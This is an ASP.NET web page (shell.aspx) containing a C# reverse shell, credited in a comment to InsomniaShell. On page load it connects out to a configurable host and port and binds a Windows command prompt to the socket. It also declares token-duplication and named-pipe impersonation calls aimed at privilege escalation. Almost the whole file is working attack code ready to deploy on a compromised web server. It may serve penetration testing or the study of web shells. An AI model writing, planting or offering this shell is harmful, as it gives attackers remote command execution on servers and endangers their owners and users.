└── shell.aspx


/shell.aspx:
--------------------------------------------------------------------------------
  1 | <%@ Page Language="C#" %>
  2 | <%@ Import Namespace="System.Runtime.InteropServices" %>
  3 | <%@ Import Namespace="System.Net" %>
  4 | <%@ Import Namespace="System.Net.Sockets" %>
  5 | <%@ Import Namespace="System.Security.Principal" %>
  6 | <%@ Import Namespace="System.Data.SqlClient" %>
  7 | <script runat="server">
  8 | //Original shell post: https://www.darknet.org.uk/2014/12/insomniashell-asp-net-reverse-shell-bind-shell/
  9 | //Download link: https://www.darknet.org.uk/content/files/InsomniaShell.zip
 10 |     
 11 | 	protected void Page_Load(object sender, EventArgs e)
 12 |     {
 13 | 	    String host = "127.0.0.1"; //CHANGE THIS
 14 |             int port = 1234; ////CHANGE THIS
 15 |                 
 16 |         CallbackShell(host, port);
 17 |     }
 18 | 
 19 |     [StructLayout(LayoutKind.Sequential)]
 20 |     public struct STARTUPINFO
 21 |     {
 22 |         public int cb;
 23 |         public String lpReserved;
 24 |         public String lpDesktop;
 25 |         public String lpTitle;
 26 |         public uint dwX;
 27 |         public uint dwY;
 28 |         public uint dwXSize;
 29 |         public uint dwYSize;
 30 |         public uint dwXCountChars;
 31 |         public uint dwYCountChars;
 32 |         public uint dwFillAttribute;
 33 |         public uint dwFlags;
 34 |         public short wShowWindow;
 35 |         public short cbReserved2;
 36 |         public IntPtr lpReserved2;
 37 |         public IntPtr hStdInput;
 38 |         public IntPtr hStdOutput;
 39 |         public IntPtr hStdError;
 40 |     }
 41 | 
 42 |     [StructLayout(LayoutKind.Sequential)]
 43 |     public struct PROCESS_INFORMATION
 44 |     {
 45 |         public IntPtr hProcess;
 46 |         public IntPtr hThread;
 47 |         public uint dwProcessId;
 48 |         public uint dwThreadId;
 49 |     }
 50 | 
 51 |     [StructLayout(LayoutKind.Sequential)]
 52 |     public struct SECURITY_ATTRIBUTES
 53 |     {
 54 |         public int Length;
 55 |         public IntPtr lpSecurityDescriptor;
 56 |         public bool bInheritHandle;
 57 |     }
 58 |     
 59 |     
 60 |     [DllImport("kernel32.dll")]
 61 |     static extern bool CreateProcess(string lpApplicationName,
 62 |        string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,
 63 |        ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles,
 64 |        uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
 65 |        [In] ref STARTUPINFO lpStartupInfo,
 66 |        out PROCESS_INFORMATION lpProcessInformation);
 67 | 
 68 |     public static uint INFINITE = 0xFFFFFFFF;
 69 |     
 70 |     [DllImport("kernel32", SetLastError = true, ExactSpelling = true)]
 71 |     internal static extern Int32 WaitForSingleObject(IntPtr handle, Int32 milliseconds);
 72 | 
 73 |     internal struct sockaddr_in
 74 |     {
 75 |         public short sin_family;
 76 |         public short sin_port;
 77 |         public int sin_addr;
 78 |         public long sin_zero;
 79 |     }
 80 | 
 81 |     [DllImport("kernel32.dll")]
 82 |     static extern IntPtr GetStdHandle(int nStdHandle);
 83 | 
 84 |     [DllImport("kernel32.dll")]
 85 |     static extern bool SetStdHandle(int nStdHandle, IntPtr hHandle);
 86 | 
 87 |     public const int STD_INPUT_HANDLE = -10;
 88 |     public const int STD_OUTPUT_HANDLE = -11;
 89 |     public const int STD_ERROR_HANDLE = -12;
 90 |     
 91 |     [DllImport("kernel32")]
 92 |     static extern bool AllocConsole();
 93 | 
 94 | 
 95 |     [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
 96 |     internal static extern IntPtr WSASocket([In] AddressFamily addressFamily,
 97 |                                             [In] SocketType socketType,
 98 |                                             [In] ProtocolType protocolType,
 99 |                                             [In] IntPtr protocolInfo, 
100 |                                             [In] uint group,
101 |                                             [In] int flags
102 |                                             );
103 | 
104 |     [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
105 |     internal static extern int inet_addr([In] string cp);
106 |     [DllImport("ws2_32.dll")]
107 |     private static extern string inet_ntoa(uint ip);
108 | 
109 |     [DllImport("ws2_32.dll")]
110 |     private static extern uint htonl(uint ip);
111 |     
112 |     [DllImport("ws2_32.dll")]
113 |     private static extern uint ntohl(uint ip);
114 |     
115 |     [DllImport("ws2_32.dll")]
116 |     private static extern ushort htons(ushort ip);
117 |     
118 |     [DllImport("ws2_32.dll")]
119 |     private static extern ushort ntohs(ushort ip);   
120 | 
121 |     
122 |    [DllImport("WS2_32.dll", CharSet=CharSet.Ansi, SetLastError=true)]
123 |    internal static extern int connect([In] IntPtr socketHandle,[In] ref sockaddr_in socketAddress,[In] int socketAddressSize);
124 | 
125 |     [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
126 |    internal static extern int send(
127 |                                 [In] IntPtr socketHandle,
128 |                                 [In] byte[] pinnedBuffer,
129 |                                 [In] int len,
130 |                                 [In] SocketFlags socketFlags
131 |                                 );
132 | 
133 |     [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
134 |    internal static extern int recv(
135 |                                 [In] IntPtr socketHandle,
136 |                                 [In] IntPtr pinnedBuffer,
137 |                                 [In] int len,
138 |                                 [In] SocketFlags socketFlags
139 |                                 );
140 | 
141 |     [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
142 |    internal static extern int closesocket(
143 |                                        [In] IntPtr socketHandle
144 |                                        );
145 | 
146 |     [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
147 |    internal static extern IntPtr accept(
148 |                                   [In] IntPtr socketHandle,
149 |                                   [In, Out] ref sockaddr_in socketAddress,
150 |                                   [In, Out] ref int socketAddressSize
151 |                                   );
152 | 
153 |     [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
154 |    internal static extern int listen(
155 |                                   [In] IntPtr socketHandle,
156 |                                   [In] int backlog
157 |                                   );
158 | 
159 |     [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
160 |    internal static extern int bind(
161 |                                 [In] IntPtr socketHandle,
162 |                                 [In] ref sockaddr_in  socketAddress,
163 |                                 [In] int socketAddressSize
164 |                                 );
165 | 
166 | 
167 |    public enum TOKEN_INFORMATION_CLASS
168 |    {
169 |        TokenUser = 1,
170 |        TokenGroups,
171 |        TokenPrivileges,
172 |        TokenOwner,
173 |        TokenPrimaryGroup,
174 |        TokenDefaultDacl,
175 |        TokenSource,
176 |        TokenType,
177 |        TokenImpersonationLevel,
178 |        TokenStatistics,
179 |        TokenRestrictedSids,
180 |        TokenSessionId
181 |    }
182 | 
183 |    [DllImport("advapi32", CharSet = CharSet.Auto)]
184 |    public static extern bool GetTokenInformation(
185 |        IntPtr hToken,
186 |        TOKEN_INFORMATION_CLASS tokenInfoClass,
187 |        IntPtr TokenInformation,
188 |        int tokeInfoLength,
189 |        ref int reqLength);
190 | 
191 |    public enum TOKEN_TYPE
192 |    {
193 |        TokenPrimary = 1,
194 |        TokenImpersonation
195 |    }
196 | 
197 |    public enum SECURITY_IMPERSONATION_LEVEL
198 |    {
199 |        SecurityAnonymous,
200 |        SecurityIdentification,
201 |        SecurityImpersonation,
202 |        SecurityDelegation
203 |    }
204 | 
205 |    
206 |    [DllImport("advapi32.dll", EntryPoint = "CreateProcessAsUser", SetLastError = true, CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)]
207 |    public extern static bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,
208 |        ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment,
209 |        String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
210 | 
211 |    [DllImport("advapi32.dll", EntryPoint = "DuplicateTokenEx")]
212 |    public extern static bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess,
213 |        ref SECURITY_ATTRIBUTES lpThreadAttributes, SECURITY_IMPERSONATION_LEVEL ImpersonationLeve, TOKEN_TYPE TokenType,
214 |        ref IntPtr DuplicateTokenHandle);
215 | 
216 |    
217 | 
218 |    const int ERROR_NO_MORE_ITEMS = 259;
219 | 
220 |    [StructLayout(LayoutKind.Sequential)]
221 |    struct TOKEN_USER
222 |    {
223 |        public _SID_AND_ATTRIBUTES User;
224 |    }
225 | 
226 |    [StructLayout(LayoutKind.Sequential)]
227 |    public struct _SID_AND_ATTRIBUTES
228 |    {
229 |        public IntPtr Sid;
230 |        public int Attributes;
231 |    }
232 | 
233 |    [DllImport("advapi32", CharSet = CharSet.Auto)]
234 |    public extern static bool LookupAccountSid
235 |    (
236 |        [In, MarshalAs(UnmanagedType.LPTStr)] string lpSystemName,
237 |        IntPtr pSid,
238 |        StringBuilder Account,
239 |        ref int cbName,
240 |        StringBuilder DomainName,
241 |        ref int cbDomainName,
242 |        ref int peUse 
243 | 
244 |    );
245 | 
246 |    [DllImport("advapi32", CharSet = CharSet.Auto)]
247 |    public extern static bool ConvertSidToStringSid(
248 |        IntPtr pSID,
249 |        [In, Out, MarshalAs(UnmanagedType.LPTStr)] ref string pStringSid);
250 | 
251 | 
252 |    [DllImport("kernel32.dll", SetLastError = true)]
253 |    public static extern bool CloseHandle(
254 |        IntPtr hHandle);
255 | 
256 |    [DllImport("kernel32.dll", SetLastError = true)]
257 |    public static extern IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwProcessId);
258 |    [Flags]
259 |    public enum ProcessAccessFlags : uint
260 |    {
261 |        All = 0x001F0FFF,
262 |        Terminate = 0x00000001,
263 |        CreateThread = 0x00000002,
264 |        VMOperation = 0x00000008,
265 |        VMRead = 0x00000010,
266 |        VMWrite = 0x00000020,
267 |        DupHandle = 0x00000040,
268 |        SetInformation = 0x00000200,
269 |        QueryInformation = 0x00000400,
270 |        Synchronize = 0x00100000
271 |    }
272 | 
273 |    [DllImport("kernel32.dll")]
274 |    static extern IntPtr GetCurrentProcess();
275 | 
276 |    [DllImport("kernel32.dll")]
277 |    extern static IntPtr GetCurrentThread();
278 | 
279 | 
280 |    [DllImport("kernel32.dll", SetLastError = true)]
281 |    [return: MarshalAs(UnmanagedType.Bool)]
282 |    static extern bool DuplicateHandle(IntPtr hSourceProcessHandle,
283 |       IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle,
284 |       uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions);
285 | 
286 |     [DllImport("psapi.dll", SetLastError = true)]
287 |     public static extern bool EnumProcessModules(IntPtr hProcess,
288 |     [MarshalAs(UnmanagedType.LPArray, ArraySubType = UnmanagedType.U4)] [In][Out] uint[] lphModule,
289 |     uint cb,
290 |     [MarshalAs(UnmanagedType.U4)] out uint lpcbNeeded);
291 | 
292 |     [DllImport("psapi.dll")]
293 |     static extern uint GetModuleBaseName(IntPtr hProcess, uint hModule, StringBuilder lpBaseName, uint nSize);
294 | 
295 |     public const uint PIPE_ACCESS_OUTBOUND = 0x00000002;
296 |     public const uint PIPE_ACCESS_DUPLEX = 0x00000003;
297 |     public const uint PIPE_ACCESS_INBOUND = 0x00000001;
298 |     public const uint PIPE_WAIT = 0x00000000;
299 |     public const uint PIPE_NOWAIT = 0x00000001;
300 |     public const uint PIPE_READMODE_BYTE = 0x00000000;
301 |     public const uint PIPE_READMODE_MESSAGE = 0x00000002;
302 |     public const uint PIPE_TYPE_BYTE = 0x00000000;
303 |     public const uint PIPE_TYPE_MESSAGE = 0x00000004;
304 |     public const uint PIPE_CLIENT_END = 0x00000000;
305 |     public const uint PIPE_SERVER_END = 0x00000001;
306 |     public const uint PIPE_UNLIMITED_INSTANCES = 255;
307 | 
308 |     public const uint NMPWAIT_WAIT_FOREVER = 0xffffffff;
309 |     public const uint NMPWAIT_NOWAIT = 0x00000001;
310 |     public const uint NMPWAIT_USE_DEFAULT_WAIT = 0x00000000;
311 | 
312 |     public const uint GENERIC_READ = (0x80000000);
313 |     public const uint GENERIC_WRITE = (0x40000000);
314 |     public const uint GENERIC_EXECUTE = (0x20000000);
315 |     public const uint GENERIC_ALL = (0x10000000);
316 | 
317 |     public const uint CREATE_NEW = 1;
318 |     public const uint CREATE_ALWAYS = 2;
319 |     public const uint OPEN_EXISTING = 3;
320 |     public const uint OPEN_ALWAYS = 4;
321 |     public const uint TRUNCATE_EXISTING = 5;
322 | 
323 |     public const int INVALID_HANDLE_VALUE = -1;
324 | 
325 |     public const ulong ERROR_SUCCESS = 0;
326 |     public const ulong ERROR_CANNOT_CONNECT_TO_PIPE = 2;
327 |     public const ulong ERROR_PIPE_BUSY = 231;
328 |     public const ulong ERROR_NO_DATA = 232;
329 |     public const ulong ERROR_PIPE_NOT_CONNECTED = 233;
330 |     public const ulong ERROR_MORE_DATA = 234;
331 |     public const ulong ERROR_PIPE_CONNECTED = 535;
332 |     public const ulong ERROR_PIPE_LISTENING = 536;
333 | 
334 |     [DllImport("kernel32.dll", SetLastError = true)]
335 |     public static extern IntPtr CreateNamedPipe(
336 |         String lpName,									
337 |         uint dwOpenMode,								
338 |         uint dwPipeMode,								
339 |         uint nMaxInstances,							
340 |         uint nOutBufferSize,						
341 |         uint nInBufferSize,							
342 |         uint nDefaultTimeOut,						
343 |         IntPtr pipeSecurityDescriptor
344 |         );
345 | 
346 |     [DllImport("kernel32.dll", SetLastError = true)]
347 |     public static extern bool ConnectNamedPipe(
348 |         IntPtr hHandle,
349 |         uint lpOverlapped
350 |         );
351 | 
352 |     [DllImport("Advapi32.dll", SetLastError = true)]
353 |     public static extern bool ImpersonateNamedPipeClient(
354 |         IntPtr hHandle);
355 | 
356 |     [DllImport("kernel32.dll", SetLastError = true)]
357 |     public static extern bool GetNamedPipeHandleState(
358 |         IntPtr hHandle,
359 |         IntPtr lpState,
360 |         IntPtr lpCurInstances,
361 |         IntPtr lpMaxCollectionCount,
362 |         IntPtr lpCollectDataTimeout,
363 |         StringBuilder lpUserName,
364 |         int nMaxUserNameSize
365 |         );
366 |  
367 |     protected void CallbackShell(string server, int port)
368 |     {
369 | 
370 |         string request = "Spawn Shell...\n";
371 |         Byte[] bytesSent = Encoding.ASCII.GetBytes(request);
372 | 
373 |         IntPtr oursocket = IntPtr.Zero;
374 |         
375 |         sockaddr_in socketinfo;
376 |         oursocket = WSASocket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.IP, IntPtr.Zero, 0, 0);
377 |         socketinfo = new sockaddr_in();
378 |         socketinfo.sin_family = (short) AddressFamily.InterNetwork;
379 |         socketinfo.sin_addr = inet_addr(server);
380 |         socketinfo.sin_port = (short) htons((ushort)port);
381 |         connect(oursocket, ref socketinfo, Marshal.SizeOf(socketinfo));
382 |         send(oursocket, bytesSent, request.Length, 0);
383 |         SpawnProcessAsPriv(oursocket);
384 |         closesocket(oursocket);
385 |     }
386 | 
387 |     protected void SpawnProcess(IntPtr oursocket)
388 |     {
389 |         bool retValue;
390 |         string Application = Environment.GetEnvironmentVariable("comspec"); 
391 |         PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
392 |         STARTUPINFO sInfo = new STARTUPINFO();
393 |         SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
394 |         pSec.Length = Marshal.SizeOf(pSec);
395 |         sInfo.dwFlags = 0x00000101;
396 |         sInfo.hStdInput = oursocket;
397 |         sInfo.hStdOutput = oursocket;
398 |         sInfo.hStdError = oursocket;
399 |         retValue = CreateProcess(Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
400 |         WaitForSingleObject(pInfo.hProcess, (int)INFINITE);
401 |     }
402 | 
403 |     protected void SpawnProcessAsPriv(IntPtr oursocket)
404 |     {
405 |         bool retValue;
406 |         string Application = Environment.GetEnvironmentVariable("comspec"); 
407 |         PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
408 |         STARTUPINFO sInfo = new STARTUPINFO();
409 |         SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
410 |         pSec.Length = Marshal.SizeOf(pSec);
411 |         sInfo.dwFlags = 0x00000101; 
412 |         IntPtr DupeToken = new IntPtr(0);
413 |         sInfo.hStdInput = oursocket;
414 |         sInfo.hStdOutput = oursocket;
415 |         sInfo.hStdError = oursocket;
416 |         if (DupeToken == IntPtr.Zero)
417 |             retValue = CreateProcess(Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
418 |         else
419 |             retValue = CreateProcessAsUser(DupeToken, Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
420 |         WaitForSingleObject(pInfo.hProcess, (int)INFINITE);
421 |         CloseHandle(DupeToken);
422 |     }
423 |     </script>
424 | 


--------------------------------------------------------------------------------